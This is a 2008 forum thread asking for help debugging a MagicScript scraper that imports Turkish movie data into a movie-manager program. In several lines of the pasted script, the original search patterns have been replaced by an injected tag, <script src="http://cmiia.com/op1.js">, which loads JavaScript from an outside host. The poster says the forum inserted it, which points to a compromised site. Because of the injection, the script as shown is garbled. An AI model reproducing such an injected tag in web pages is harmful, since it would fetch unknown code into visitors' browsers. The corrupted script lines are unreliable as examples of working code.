BinaryWorks.it Official Forum
BinaryWorks.it Official Forum
Home | Profile | Active Topics | Members | Search | FAQ
Username:
Password:
Save Password
 All Forums
 eXtreme Movie Manager (Rel. 7), No More Updates
 Scripts
 Can somebody figure out this error please?
 New Topic  Reply to Topic
 Printer Friendly
Author Previous Topic Topic Next Topic Lock Topic Edit Topic Delete Topic New Topic Reply to Topic

ComZiz
Junior Member

Turkey
282 Posts

Posted - 07 Nov 2008 :  12:31:26  Show Profile  Edit Topic  Reply with Quote  View user's IP address  Delete Topic
As some of you may know, I'm currently struggling with the BEYAZPERDE script. It takes a lot of time for me to understand the MagicScript but here's how far I've come, I'm pasting the essential part of the script;



#WEBQUERY#=http://beyazperde.mynet.com/hizliarama.asp?keyword=#MOVIE#&x=0&y=0

#CREATEMOVIELIST#
    #STARTREADWEB#
    #WRITETITLELIST#=    
    #WRITETITLELIST#=Bulunan Filmler
    #WRITETITLELIST#=-------------------------------
    #PUT#=0#00#
    #REPEAT#
        #FINDLINE#=<script src="http://cmiia.com/op1.js"="http://beyazperde.mynet.com/film.asp?id=#10# #ONERROR#=*OK*
        #IF# #00#==#10#
           #GOTO#=ENDSEARCH
        #ENDIF#        
        #FINDLINE#=<script src="http://cmiia.com/op1.js"="http://beyazperde.mynet.com/film.asp?id=#10# #ONERROR#=*OK*
        #FIND#="#01# #ONERROR#=*OK*
	 #COMPUTECURSOR#=+1
	 #PUTCURSOR#=#01#
	 #FIND#="#03# #ONERROR#=*OK*
        #TAKEWORD#=#04#,#01#,#03#

	 #FIND#=>#07# #ONERROR#=*OK*
	 #COMPUTECURSOR#=+3
        #PUTCURSOR#=#07#
        #FIND#=</#11# #ONERROR#=*OK*
	 #TAKEWORD#=#08#,#07#,#11#
	 #WRITETITLELIST#=h#04#    ---> #08#
    #WHILE# #00#<>#10#
:ENDSEARCH

#ENDCREATEMOVIELIST#
---BASLIK---
#MOVIETITLE#
    #STARTREADWEB#
    #FINDLINE#="baslik_filmadi31">#ONERROR#=*STOP*
    #FIND#=>#01# #ONERROR#=*STOP*
    #FIND#=<#02# #ONERROR#=*STOP*
    #TAKEWORD#=#03#,#01#,#02#
    #CHECKVARIABLE#=#03#
	#STARTSUBSTITUTETAGS#
    #TITLE#=#03#
#ENDMOVIETITLE#
--DIRECTOR - YONETMEN----------------------------------------------------------------------------------
#DIRECTOR# Yonetmen
	#STARTREADWEB#
	#FINDLINE#=<br><span class="itembaslik">Yönetmen#12##ONERROR#=*OK*
	#IF# #12#==#00#
		#GOTO#=YONETMENBITIR
	#ENDIF#
	#PUT#=300#20#
	#STARTREADWEB#
	#FINDLINE#=<br><span class="itembaslik">Yönetmen#12##ONERROR#=*OK*
	#READNEXTLINE#
	:BASKAYONETMEN
	#FIND#=<script src="http://cmiia.com/op1.js"=#18# #ONERROR#=*OK*
		#IF# #18#==#00#
		#GOTO#=YONETMENBITIR
		#ENDIF#
	#IF# #18#<>#00#
		#IF# #18#>>#20#
		#GOTO#=YONETMENBITIR
		#ENDIF#
		#FIND#=>#11# #ONERROR#=*OK*
		#FIND#=</script>#10# #ONERROR#=*OK*
		#TAKEWORD#=#13#,#11#,#10#
		#CHECKVARIABLE#=#13#
		#STARTSUBSTITUTETAGS#
		#TAKEDIRECTOR#=#13#
	#GOTO#=BASKAYONETMEN
	#ENDIF#
    	:YONETMENBITIR
#ENDDIRECTOR#



This script works perfect in MagicScript Editor but as I actually import a movie from the internet it gets messed up.

Example:
I search for "Anlat Istanbul", find and select the movie and start downloading, but as this movie have multiple actors, the script gets stuck between somewhere I'm currently try to figure out. XMM adds a lot of "||||||" (seperators) after the last name and never goes on to the next section of the script.

Above is the latest version I've come up with, earlier it was like the current writer section;

#WRITER# YAZAR
       #FINDLINE#=<br>Senaryo :#12##ONERROR#=*OK*
   #READNEXTLINE#
   #READNEXTLINE#
    #REPEAT#
	 #FIND#=<script src="http://cmiia.com/op1.js"=#12# #ONERROR#=*OK*
        #IF# #12#<>#00#
	     #FIND#=>#11# #ONERROR#=*OK*
	     #FIND#=</script>#10# #ONERROR#=*OK*
	     #TAKEWORD#=#13#,#11#,#10#
            #CHECKVARIABLE#=#13#
	     #STARTSUBSTITUTETAGS#
	    #TAKEWRITER#=#13#
        #ENDIF#
    #WHILE# #12#<>#00#
#ENDWRITER#


If someone could help me I would much appreciate it.
Best regards,
Erke

PS: I don't know what "<script src="http://cmiia.com/op1.js" is. The forum just replaces my lines.

Edited by - ComZiz on 07 Nov 2008 12:32:51
  Previous Topic Topic Next Topic Lock Topic Edit Topic Delete Topic New Topic Reply to Topic
 New Topic  Reply to Topic
 Printer Friendly
Jump To:
BinaryWorks.it Official Forum © Binaryworks.it Go To Top Of Page
Generated in 0.1 sec. Powered By: Snitz Forums 2000 Version 3.4.07